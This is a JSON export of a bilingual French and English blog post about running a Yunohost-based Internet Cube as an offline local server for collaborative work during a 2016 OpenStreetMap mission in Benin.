{"id":3286,"date":"2016-05-04T13:38:42","date_gmt":"2016-05-04T12:38:42","guid":{"rendered":"https:\/\/projeteof.org\/?p=3286"},"modified":"2020-12-21T11:57:46","modified_gmt":"2020-12-21T10:57:46","slug":"une-brique-internet-yunohost-comme-systeme-dinformation-libre-embarque-et-deconnecte-pour-laction-openstreetmap-benin-2016","status":"publish","type":"post","link":"https:\/\/projeteof.org\/blog\/une-brique-internet-yunohost-comme-systeme-dinformation-libre-embarque-et-deconnecte-pour-laction-openstreetmap-benin-2016\/","title":{"rendered":"[:fr]Une Brique Internet (Yunohost) comme syst\u00e8me d&rsquo;information libre, embarqu\u00e9 et d\u00e9connect\u00e9 pour l&rsquo;Action OpenStreetMap B\u00e9nin 2016[:en]An internet Cube (Yunohost) as a free offline embedded information system for OpenStreetMap Benin Action[:]"},"content":{"rendered":"<p>[:fr]<a href=\"https:\/\/projeteof.org\/?p=3344\">Available in english<\/a><\/p>\n<blockquote><p>Voil\u00e0 un moment qu&rsquo;on y pensait\u00a0: <strong>utiliser un serveur local pour permettre un travail collaboratif et d\u00e9connect\u00e9 durant les actions du Projet Espace OpenStreetMap Francophone<\/strong>. C&rsquo;est chose faite : durant le mois d&rsquo;Avril une solution technique a \u00e9t\u00e9 mise en place \u00e0 l&rsquo;aide du projet La Brique Internet bas\u00e9 sur le syst\u00e8me d&rsquo;exploitation Yunohost. Les premiers tests en situation r\u00e9elle ont lieu depuis samedi 30 Avril, depuis Cotonou au B\u00e9nin, au d\u00e9but de l&rsquo;<a href=\"https:\/\/projeteof.org\/crowdfunding-openstreetmap-au-benin-275km%c2%b2-dimagerie-satellite-haute-resolution-pour-cotonou-ce-1er-mai-2016\/\"><em>Action OpenStreetMap B\u00e9nin 2016 annonc\u00e9 dans un pr\u00e9c\u00e9dent blogpost<\/em><\/a>. <strong>Cette mission sera \u00e9galement l&rsquo;occasion de diffuser le projet Yunohost et de la Brique Internet<\/strong><\/p><\/blockquote>\n<p>.<\/p>\n<p><strong>1 &#8211; Pourquoi un serveur local\u00a0?<\/strong><br \/>\nAu quotidien, nous sommes nombreux \u00e0 utiliser des services pour communiquer et collaborer \u00e0 distance, qu&rsquo;il s&rsquo;agisse de services courriels, de partage de fichiers, d&rsquo;\u00e9criture collaborative de documents, de r\u00e9seaux sociaux etc. Si on parle de solutions propri\u00e9taires, il y a par exemple Google Drive, Dropbox, Skype etc. Mais il existe \u00e9galement (et heureusement) des solutions libres, communautaires, respectueuses des droits des utilisateurs, par exemple OwnCloud, Etherpad, XMPP etc. Si vous voulez tester des services libres, vous n&rsquo;avez qu&rsquo;\u00e0 essayer ceux mis \u00e0 disposition par l&rsquo;<a href=\"https:\/\/framasoft.org\/\"><strong>association Framasoft<\/strong><\/a> qui promeut le logiciel libre et a notamment lanc\u00e9 la campagne <strong><a href=\"https:\/\/twitter.com\/search?q=%23degooglisonsinternet\">#degooglisonsinternet<\/a><\/strong>.<\/p>\n<ul>\n<li>En g\u00e9n\u00e9ral nous utilisons ces outils pour communiquer avec des individus distants mais ils se r\u00e9v\u00e8lent souvent tout aussi utiles lors d&rsquo;\u00e9v\u00e9nements physiques (conf\u00e9rence, barcamp, cartopartie par exemple), pour pouvoir r\u00e9diger collaborativement des documents, avoir un point de t\u00e9l\u00e9chargement pour les participants etc.<\/li>\n<li>Mais voil\u00e0\u00a0: tous ces services demandent une connexion internet fonctionnelle et par cons\u00e9quent sont co\u00fbteux et rendent les utilisateurs tributaires des al\u00e9as du r\u00e9seau, en particulier dans des pays ayant une connexion internet de bas d\u00e9bit. Et puis, d&rsquo;un point de vue pragmatique\u00a0: a-t-on besoin de se connecter \u00e0 des serveurs \u00e0 l&rsquo;autre bout du monde pour travailler en groupe alors que nous sommes tous dans la m\u00eame pi\u00e8ce\u00a0?<\/li>\n<\/ul>\n<p><strong>2 &#8211; La Brique Internet\u00a0: un choix technique fortement influenc\u00e9 par notre usage quotidien de Yunohost<\/strong><br \/>\nAu sein du collectif de travail Les Libres G\u00e9ographes (Amadou Ndong, Nicolas Chavent, S\u00e9verin M\u00e9nard et moi-m\u00eame), nous avons franchi le pas depuis Octobre 2015 de migrer tout notre syst\u00e8me d&rsquo;information vers une solution libre : un syst\u00e8me Yunohost h\u00e9berg\u00e9 \u00e0 Paris sur un serveur priv\u00e9 virtuel chez l&rsquo;<strong><a href=\"https:\/\/gandi.net\">h\u00e9bergeur Gandi<\/a><\/strong>. Nous avons pu gr\u00e2ce \u00e0 cela r\u00e9duire d&rsquo;environ 90\u00a0% notre usage de Gmail, GoogleDrive, Skype, Dropbox et cie, en utilisant \u00e0 la place des alternatives libres.<\/p>\n<div id=\"attachment_3307\" style=\"width: 1607px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/projeteof.org\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-113940.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-3307\" class=\"size-full wp-image-3307\" src=\"https:\/\/projeteof.org\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-113940.png\" alt=\"Copie d'\u00e9cran du site internet Yunohost, vous pouvez tester le service en ligne\" width=\"1597\" height=\"592\" srcset=\"https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-113940.png 1597w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-113940-300x111.png 300w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-113940-1024x380.png 1024w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-113940-260x96.png 260w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-113940-50x19.png 50w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-113940-576x214.png 576w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-113940-150x56.png 150w\" sizes=\"auto, (max-width: 1597px) 100vw, 1597px\" \/><\/a><p id=\"caption-attachment-3307\" class=\"wp-caption-text\">Copie d&rsquo;\u00e9cran du site internet Yunohost, vous pouvez tester le service en ligne<\/p><\/div>\n<p>Vous pouvez acc\u00e9der ici au site internet du <strong><a href=\"https:\/\/yunohost.org\">projet Yunohost<\/a><\/strong>.<\/p>\n<p>L&rsquo;exp\u00e9rimentation du projet Yunohost depuis Octobre 2015 au sein du collectif Les Libres G\u00e9ographes nous a encourag\u00e9 \u00e0 adopter la m\u00eame solution technique au sein du ProjetEOF, c&rsquo;est d&rsquo;ailleurs sur l&rsquo;application WordPress de Yunohost que vous \u00eates en train de lire cet article\u00a0!<\/p>\n<p>En recherche d&rsquo;une solution d&rsquo;h\u00e9bergement local, nous nous sommes int\u00e9ress\u00e9s naturellement au projet de <strong>La Brique Internet<\/strong> qui n&rsquo;est ni plus ni moins qu&rsquo;une distribution de Yunohost packag\u00e9e pour fonctionner sur une carte Olimex (mat\u00e9riel libre \u00e0 l&rsquo;exception, malheureusement, du micro-processeur), il s&rsquo;agit d&rsquo;un mini-ordinateur sans \u00e9cran utilis\u00e9 comme serveur transportable.<\/p>\n\n\t\t\t<style type='text\/css'>\n\t\t\t\t#gallery-1 {\n\t\t\t\t\tmargin: auto;\n\t\t\t\t}\n\t\t\t\t#gallery-1 .gallery-item {\n\t\t\t\t\tfloat: left;\n\t\t\t\t\tmargin-top: 10px;\n\t\t\t\t\ttext-align: center;\n\t\t\t\t\twidth: 33%;\n\t\t\t\t}\n\t\t\t\t#gallery-1 img {\n\t\t\t\t\tborder: 2px solid #cfcfcf;\n\t\t\t\t}\n\t\t\t\t#gallery-1 .gallery-caption {\n\t\t\t\t\tmargin-left: 0;\n\t\t\t\t}\n\t\t\t\t\/* see gallery_shortcode() in wp-includes\/media.php *\/\n\t\t\t<\/style>\n\t\t<div id='gallery-1' class='gallery galleryid-3286 gallery-columns-3 gallery-size-thumbnails '><dl class='gallery-item'>\n\t\t\t\t<dt class='gallery-icon landscape'>\n\t\t\t\t\t<a href='https:\/\/projeteof.org\/blog\/une-brique-internet-yunohost-comme-systeme-dinformation-libre-embarque-et-deconnecte-pour-laction-openstreetmap-benin-2016\/capture-du-2016-05-04-123534\/'><img loading=\"lazy\" decoding=\"async\" width=\"772\" height=\"622\" src=\"https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-123534.png\" class=\"attachment-thumbnails size-thumbnails\" alt=\"\" srcset=\"https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-123534.png 772w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-123534-300x242.png 300w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-123534-181x146.png 181w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-123534-50x40.png 50w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-123534-576x464.png 576w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-123534-93x75.png 93w\" sizes=\"auto, (max-width: 772px) 100vw, 772px\" \/><\/a>\n\t\t\t\t<\/dt>\n\t\t\t\t\t<dd class='wp-caption-text gallery-caption'>\n\t\t\t\t\tCopie d&rsquo;\u00e9cran du site de la Brique Internet\n\t\t\t\t\t<\/dd><\/dl><dl class='gallery-item'>\n\t\t\t\t<dt class='gallery-icon landscape'>\n\t\t\t\t\t<a href='https:\/\/projeteof.org\/blog\/une-brique-internet-yunohost-comme-systeme-dinformation-libre-embarque-et-deconnecte-pour-laction-openstreetmap-benin-2016\/capture-du-2016-05-04-120649\/'><img loading=\"lazy\" decoding=\"async\" width=\"1058\" height=\"715\" src=\"https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-120649.png\" class=\"attachment-thumbnails size-thumbnails\" alt=\"\" srcset=\"https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-120649.png 1058w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-120649-300x203.png 300w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-120649-1024x692.png 1024w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-120649-216x146.png 216w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-120649-50x34.png 50w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-120649-576x389.png 576w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-120649-111x75.png 111w\" sizes=\"auto, (max-width: 1058px) 100vw, 1058px\" \/><\/a>\n\t\t\t\t<\/dt>\n\t\t\t\t\t<dd class='wp-caption-text gallery-caption'>\n\t\t\t\t\tImage issue de la documentation de la carte Olimex, composant de base de la Brique Internet\n\t\t\t\t\t<\/dd><\/dl><dl class='gallery-item'>\n\t\t\t\t<dt class='gallery-icon landscape'>\n\t\t\t\t\t<a href='https:\/\/projeteof.org\/blog\/une-brique-internet-yunohost-comme-systeme-dinformation-libre-embarque-et-deconnecte-pour-laction-openstreetmap-benin-2016\/img_9657-2\/'><img loading=\"lazy\" decoding=\"async\" width=\"500\" height=\"363\" src=\"https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/IMG_96571.jpg\" class=\"attachment-thumbnails size-thumbnails\" alt=\"\" srcset=\"https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/IMG_96571.jpg 500w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/IMG_96571-300x218.jpg 300w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/IMG_96571-201x146.jpg 201w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/IMG_96571-50x36.jpg 50w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/IMG_96571-103x75.jpg 103w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/a>\n\t\t\t\t<\/dt>\n\t\t\t\t\t<dd class='wp-caption-text gallery-caption'>\n\t\t\t\t\tPhoto de la Brique Internet mont\u00e9e pour la mission\n\t\t\t\t\t<\/dd><\/dl><br style=\"clear: both\" \/>\n\t\t\t<\/div>\n\n<p>Vous pouvez acc\u00e9der ici au site internet du <strong> <a href=\"https:\/\/labriqueinter.net\">projet de La Brique Internet<\/a><\/strong>.<\/p>\n<p><strong> 3 &#8211; Modification de la Brique Internet <\/strong><br \/>\nL&rsquo;usage premier d&rsquo;une Brique Internet est de s\u00e9curiser sa connexion internet vis-\u00e0-vis de son FAI (Fournisseur d&rsquo;Acc\u00e8s Internet) et d&rsquo;auto-h\u00e9berger ses services (courriels, documents partag\u00e9s etc.), que l&rsquo;on peut transporter facilement avec soi tout simplement en rebranchant la Brique \u00e0 la box d&rsquo;un autre FAI. Il a fallu modifier la configuration DNS originale de la Brique afin de pouvoir l&rsquo;utiliser en r\u00e9seau local, <strong><a href=\"https:\/\/forum.yunohost.org\/t\/utiliser-la-brique-en-equipe-dans-un-lan-serveur-dns-local-connexion-internet-faible-inexistante\/1440\">les modifications n\u00e9cessaires ont \u00e9t\u00e9 document\u00e9es sur le forum du projet Yunohost<\/a><\/strong>.<\/p>\n<p><strong>4 &#8211; Qu&rsquo;est-ce que permet concr\u00e8tement la Brique Internet\u00a0?<\/strong><br \/>\nDepuis la semaine pass\u00e9e, la Brique a d\u00e9j\u00e0 fait ses preuves, que ce soit pour :<\/p>\n<ul>\n<li>archiver des fichiers (Owncloud)<\/li>\n<li>travailler collaborativement sur un document texte ou une feuille de calcul (Etherpad Lite et Ethercalc)<\/li>\n<li>cr\u00e9er un point de t\u00e9l\u00e9chargement de fichiers (PirateBox)<\/li>\n<li>organiser une documentation (DokuWiki)<\/li>\n<\/ul>\n<p>le tout sans connexion internet ! A l&rsquo;allumage de la Brique, deux r\u00e9seaux Wifis sont g\u00e9n\u00e9r\u00e9s par l&rsquo;antenne\u00a0: un r\u00e9seau ouvert permettant d&rsquo;acc\u00e9der \u00e0 une PirateBox et un r\u00e9seau prot\u00e9g\u00e9 par un mot de passe permettant d&rsquo;acc\u00e9der aux applications Yunohost.<br \/>\nDe nombreuses applications sont disponibles, consultez ici <a href=\"https:\/\/yunohost.org\/apps\">la liste des applications disponibles<\/a>.<\/p>\n<p><strong>5 &#8211; Participer \u00e0 la diffusion de Yunohost et de la Brique Internet<\/strong><\/p>\n<blockquote><p>Choisir la Brique Internet et l&rsquo;exp\u00e9rimenter durant cette mission <strong>B\u00e9nin<\/strong>, c&rsquo;est \u00e9galement permettre \u00e0 des missionnaires et volontaires en provenance du <strong>Burkina Faso, de la C\u00f4te d&rsquo;Ivoire, du Mali, du Niger, du S\u00e9n\u00e9gal, du Togo d&rsquo;\u00eatre form\u00e9s \u00e0 l&rsquo;utilisation mais \u00e9galement \u00e0 l&rsquo;administration de Yunohost\u00a0! <\/strong><br \/>\nC&rsquo;est donc plus de 15 missionnaires et volontaires OpenStreetMap, li\u00e9s aux communaut\u00e9s du libre de leurs pays respectifs et de la sous-r\u00e9gion, qui d\u00e9couvriront Yunohost et la Brique. Il faut rajouter environ 40 b\u00e9n\u00e9ficiaires de l&rsquo;Action OpenStreetMap B\u00e9nin qui tous pourront utiliser les applications Yunohost publiques.<\/p>\n<p>Diff\u00e9rents repr\u00e9sentants de communaut\u00e9s OpenStreetMap d&rsquo;Afrique de l&rsquo;Ouest et plus largement des communaut\u00e9s des techies du logiciel libre (ou pas) mais \u00e9galement de nombreux participants aux formations expriment leur <strong>volont\u00e9 d&rsquo;acqu\u00e9rir une Brique Internet pour un usage local !<\/strong> En effet son efficacit\u00e9 pour un groupe de travail limit\u00e9 (5 ou 6 personnes) bien form\u00e9 est impressionnante, elle permet notamment d&rsquo;<strong>utiliser des applications normalement dispos sur le web pr\u00e8s de 10 fois plus vite qu&rsquo;avec une connexion internet classique<\/strong>.<\/p>\n<div id=\"attachment_3318\" style=\"width: 1010px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/projeteof.org\/wp-content\/uploads\/2016\/05\/P1020146.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-3318\" class=\"size-full wp-image-3318\" src=\"https:\/\/projeteof.org\/wp-content\/uploads\/2016\/05\/P1020146.jpg\" alt=\"Usage de la Brique Internet au Blolab de Cotonou pour distribuer des logiciels libres en formation OpenStreetMap\" width=\"1000\" height=\"750\" srcset=\"https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/P1020146.jpg 1000w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/P1020146-300x225.jpg 300w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/P1020146-195x146.jpg 195w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/P1020146-50x38.jpg 50w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/P1020146-576x432.jpg 576w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/P1020146-100x75.jpg 100w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/a><p id=\"caption-attachment-3318\" class=\"wp-caption-text\">Usage de la Brique Internet au <strong>Blolab Cotonou <a href=\"https:\/\/twitter.com\/blolab_benin\">@BLOLAB_BENIN<\/a><\/strong> pour distribuer logiciels libres en formation OpenStreetMap<\/p><\/div><\/blockquote>\n<p><strong>Documentation<\/strong><br \/>\nLe choix du mat\u00e9riel, l&rsquo;installation et la configuration du syst\u00e8me d&rsquo;exploitation et des applications ont \u00e9t\u00e9 document\u00e9s publiquement sous licence CC-BY-SA sur le DokuWiki des Libres G\u00e9ographes, vous pouvez y acc\u00e9der sur le <strong><a href=\"https:\/\/leslibresgeographes.org\/dokuwiki\/doku.php?id=public:doc_brique_locale\">DokuWiki des Libres G\u00e9ographes<\/a><\/strong>.<\/p>\n<p><strong>La suite ?<\/strong><br \/>\nIl s&rsquo;agit d&rsquo;une premi\u00e8re exp\u00e9rimentation et diff\u00e9rentes limitations sont identifi\u00e9es au fur-et-\u00e0-mesure. Nous sommes en particulier limit\u00e9 par :<\/p>\n<ul>\n<li>le d\u00e9bit de t\u00e9l\u00e9chargement qui d\u00e9passe difficilement 5Mb\/sec par Wifi, il faudra peut-\u00eatre un routeur plus costaud mais celui-ci ne serait pas pris en charge par l&rsquo;application HotSpot Wifi<\/li>\n<li>la difficult\u00e9 sous certains ordinateurs Windows de se connecter \u00e0 la Brique : il semblerait que Windows 7 refuse d&rsquo;utiliser le serveur DNS de la Brique.<\/li>\n<li>la n\u00e9cessit\u00e9 de trouver une solution pour synchroniser le contenu de 2 briques : en effet nous avons 2 briques durant cette mission, une pour chaque groupe de travail, et nous rencontrons des difficult\u00e9s \u00e0 synchroniser chaque soir nos modifications.<\/li>\n<\/ul>\n<p>Il nous faudra trouver des solutions pour continuer \u00e0 former et fournir des Briques Internet aux communaut\u00e9s locales, peut \u00eatre via un financement participatif comme nous l&rsquo;avons fait le mois pass\u00e9 pour <strong><a href=\"https:\/\/projeteof.org\/1er-mai-2016-a-cotonou-benin-action-openstreetmap-et-275-km%c2%b2-imagerie-haute-resolution\/\">obtenir de l&rsquo;imagerie satellite sur Cotonou pour am\u00e9liorer la carte libre OpenStreetMap<\/a><\/strong>.<\/p>\n<p>Nous attendons la fin de ces 3 semaines de mission pour documenter ces besoins de mani\u00e8re compl\u00e8te. Si vous \u00eates int\u00e9ress\u00e9s pour donner un coup de main, n&rsquo;h\u00e9sitez pas \u00e0 nous contacter (cf compte Twitter signature).<\/p>\n<p><strong>Remerciements<\/strong><br \/>\nMerci \u00e0 la communaut\u00e9 Yunohost pour cette superbe et g\u00e9n\u00e9reuse id\u00e9e\u00a0!<br \/>\nMerci \u00e0 la communaut\u00e9 de la Brique Internet, en particulier \u00e0 <strong>Tharyrok<\/strong> de <strong><a href=\"http:\/\/neutrinet.be\/\">Neutrinet<\/a><\/strong> (Belgique) du <strong><a href=\"https:\/\/www.ffdn.org\/\">r\u00e9seau FFDN (FAI associatifs)<\/a><\/strong> qui a pu m&rsquo;aider sur IRC et nous fournir une image fonctionnelle vers 1h du matin lors de ma premi\u00e8re installation.<br \/>\nMerci \u00e0 <strong>Doug713705<\/strong> du <strong><a href=\"https:\/\/www.tetalab.org\/\">Tetalab<\/a><\/strong> (Toulouse) pour la config DNS, et au Tetalab pour l&rsquo;h\u00e9bergement.<\/p>\n<p><strong>Augustin Doury<\/strong> &#8211; Lops dans Yunohost<br \/>\n<strong><a href=\"https:\/\/twitter.com\/d_ogus\">@d_ogus<\/a><\/strong>[:en]<a href=\"https:\/\/projeteof.org\/une-brique-internet-yunohost-comme-systeme-dinformation-libre-embarque-et-deconnecte-pour-laction-openstreetmap-benin-2016\/\">Disponible en fran\u00e7ais<\/a>. No guarantee on this english version.<\/p>\n<blockquote><p><strong>Working collaboratively in an offline fashion with a local server for Projet Espace OpenStreetMap Francophone actions : we wish it for a long time.<\/strong> It&rsquo;s now done : a technical solution has been implemented during April thanks to the Internet Cube Project, based on the Yunohost operating system. Real situation tests has begun on April, the 30th, in Cotonou, B\u00e9nin, at the begining of the <a href=\"https:\/\/projeteof.org\/crowdfunding-for-openstreetmap-in-benin-275km%c2%b2-high-resolution-satellite-imagery-for-cotonou-by-1-may-2016\/\">OpenStreetMap B\u00e9nin action announced in a recent blogpost<\/a>. <strong>This mission is also an opportunity to spread the Yunohost and Internet Cube projects.<\/strong><\/p><\/blockquote>\n<p><strong>1 &#8211; Why a local server ?<\/strong><br \/>\nEmail, file sharing, collaborative documents, social networks &#8230; bunch of people use these services to communicate and collaborate remotely everyday. For example, Google Drive, Dropbox, Skype etc. (if we think about proprietary softwares). But free, community-based, privacy respectful softwares aslo exists (hopefully), for example OwnCloud, Etherpad, XMPP etc. If you want to test some of these free services, you can try those which are made available by the <strong><a href=\"https:\/\/framasoft.org\/\">Framasoft association<\/a><\/strong>, which support free softwares and launched the <strong><a href=\"https:\/\/twitter.com\/search?q=%23degooglisonsinternet\">#degooglisonsinternet<\/a><\/strong> campain.<\/p>\n<ul>\n<li>Generally these tools are used to communicate with remote people but they are also so useful for IRL events (conference, barcamp, mapping party for instance), to write documents collaboratively or create a download access point for participants etc.<\/li>\n<li>But all this tools need an operational internet connexion : it&rsquo;s expensive and users depends on network vagaries, especially in low connectivity countries. And whatever, in a pragmatic point of view : do we need to connect to servers half a world away while we are all in the same room ?<\/li>\n<\/ul>\n<p><strong>2 &#8211; The Internet Cube : a technical choice strongly influenced by your Yunohost daily usage<\/strong><br \/>\nIn October 2015, within Les Libres G\u00e9ographes (LLG) collective (Amadou Ndong, Nicolas Chavent, S\u00e9verin M\u00e9nard and me), we have did the step to migrate our Information System towards a free solution : a Paris hosted Yunohost system, installed on a Virtual Private Server hosted by <strong><a href=\"https:\/\/gandi.net\">Gandi<\/a><\/strong>. Thanks to thats, we have been able to reduce by 90% our Gmail, GoogleDrive, Skype, Dropbox etc. usage, using instead free alternatives.<\/p>\n<div id=\"attachment_3352\" style=\"width: 1601px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/projeteof.org\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-05-114345.png\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-3352\" class=\"size-full wp-image-3352\" src=\"https:\/\/projeteof.org\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-05-114345.png\" alt=\"Yunohost website screenshot, you can try the service online\" width=\"1591\" height=\"560\" srcset=\"https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-05-114345.png 1591w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-05-114345-300x106.png 300w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-05-114345-1024x360.png 1024w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-05-114345-260x92.png 260w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-05-114345-50x18.png 50w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-05-114345-576x203.png 576w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-05-114345-150x53.png 150w\" sizes=\"auto, (max-width: 1591px) 100vw, 1591px\" \/><\/a><p id=\"caption-attachment-3352\" class=\"wp-caption-text\">Yunohost website screenshot, you can try the service online<\/p><\/div>\n<p>Here is the <strong><a href=\"https:\/\/yunohost.org\">Yunohost website<\/a><\/strong><\/p>\n<p>Considering our Yunohost project experiment since October 2015 at LLG, we decided to deploy the same technical solution at ProjetEOF, and you are now reading the blogpost on the Yunohost WordPress app !<\/p>\n<p>Looking for a local hosting solution, we naturally explore the Internet Cube Project wich is a Yunohost ditribution packaged to work on an Olimex board (open-hardware with the exception, unfortunately, of the chipset as usual, and the antenna) which is a kind of small screen-free computer used as a transportable server.<\/p>\n\n\t\t\t<style type='text\/css'>\n\t\t\t\t#gallery-2 {\n\t\t\t\t\tmargin: auto;\n\t\t\t\t}\n\t\t\t\t#gallery-2 .gallery-item {\n\t\t\t\t\tfloat: left;\n\t\t\t\t\tmargin-top: 10px;\n\t\t\t\t\ttext-align: center;\n\t\t\t\t\twidth: 33%;\n\t\t\t\t}\n\t\t\t\t#gallery-2 img {\n\t\t\t\t\tborder: 2px solid #cfcfcf;\n\t\t\t\t}\n\t\t\t\t#gallery-2 .gallery-caption {\n\t\t\t\t\tmargin-left: 0;\n\t\t\t\t}\n\t\t\t\t\/* see gallery_shortcode() in wp-includes\/media.php *\/\n\t\t\t<\/style>\n\t\t<div id='gallery-2' class='gallery galleryid-3286 gallery-columns-3 gallery-size-thumbnails '><dl class='gallery-item'>\n\t\t\t\t<dt class='gallery-icon landscape'>\n\t\t\t\t\t<a href='https:\/\/projeteof.org\/blog\/an-internet-cube-yunohost-as-a-free-offline-embedded-information-system-for-openstreetmap-benin-action\/capture-du-2016-05-04-123534-2\/'><img loading=\"lazy\" decoding=\"async\" width=\"772\" height=\"622\" src=\"https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-1235341.png\" class=\"attachment-thumbnails size-thumbnails\" alt=\"\" srcset=\"https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-1235341.png 772w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-1235341-300x242.png 300w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-1235341-181x146.png 181w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-1235341-50x40.png 50w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-1235341-576x464.png 576w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-1235341-93x75.png 93w\" sizes=\"auto, (max-width: 772px) 100vw, 772px\" \/><\/a>\n\t\t\t\t<\/dt>\n\t\t\t\t\t<dd class='wp-caption-text gallery-caption'>\n\t\t\t\t\tInternet Cube website screenshot\n\t\t\t\t\t<\/dd><\/dl><dl class='gallery-item'>\n\t\t\t\t<dt class='gallery-icon landscape'>\n\t\t\t\t\t<a href='https:\/\/projeteof.org\/blog\/an-internet-cube-yunohost-as-a-free-offline-embedded-information-system-for-openstreetmap-benin-action\/capture-du-2016-05-04-120649-2\/'><img loading=\"lazy\" decoding=\"async\" width=\"1058\" height=\"715\" src=\"https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-1206491.png\" class=\"attachment-thumbnails size-thumbnails\" alt=\"\" srcset=\"https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-1206491.png 1058w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-1206491-300x203.png 300w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-1206491-1024x692.png 1024w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-1206491-216x146.png 216w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-1206491-50x34.png 50w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-1206491-576x389.png 576w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/05\/Capture-du-2016-05-04-1206491-111x75.png 111w\" sizes=\"auto, (max-width: 1058px) 100vw, 1058px\" \/><\/a>\n\t\t\t\t<\/dt>\n\t\t\t\t\t<dd class='wp-caption-text gallery-caption'>\n\t\t\t\t\tOlimex documentation screenshot, Olimex is an Internet Cube based-component\n\t\t\t\t\t<\/dd><\/dl><dl class='gallery-item'>\n\t\t\t\t<dt class='gallery-icon landscape'>\n\t\t\t\t\t<a href='https:\/\/projeteof.org\/blog\/an-internet-cube-yunohost-as-a-free-offline-embedded-information-system-for-openstreetmap-benin-action\/img_9657-4\/'><img 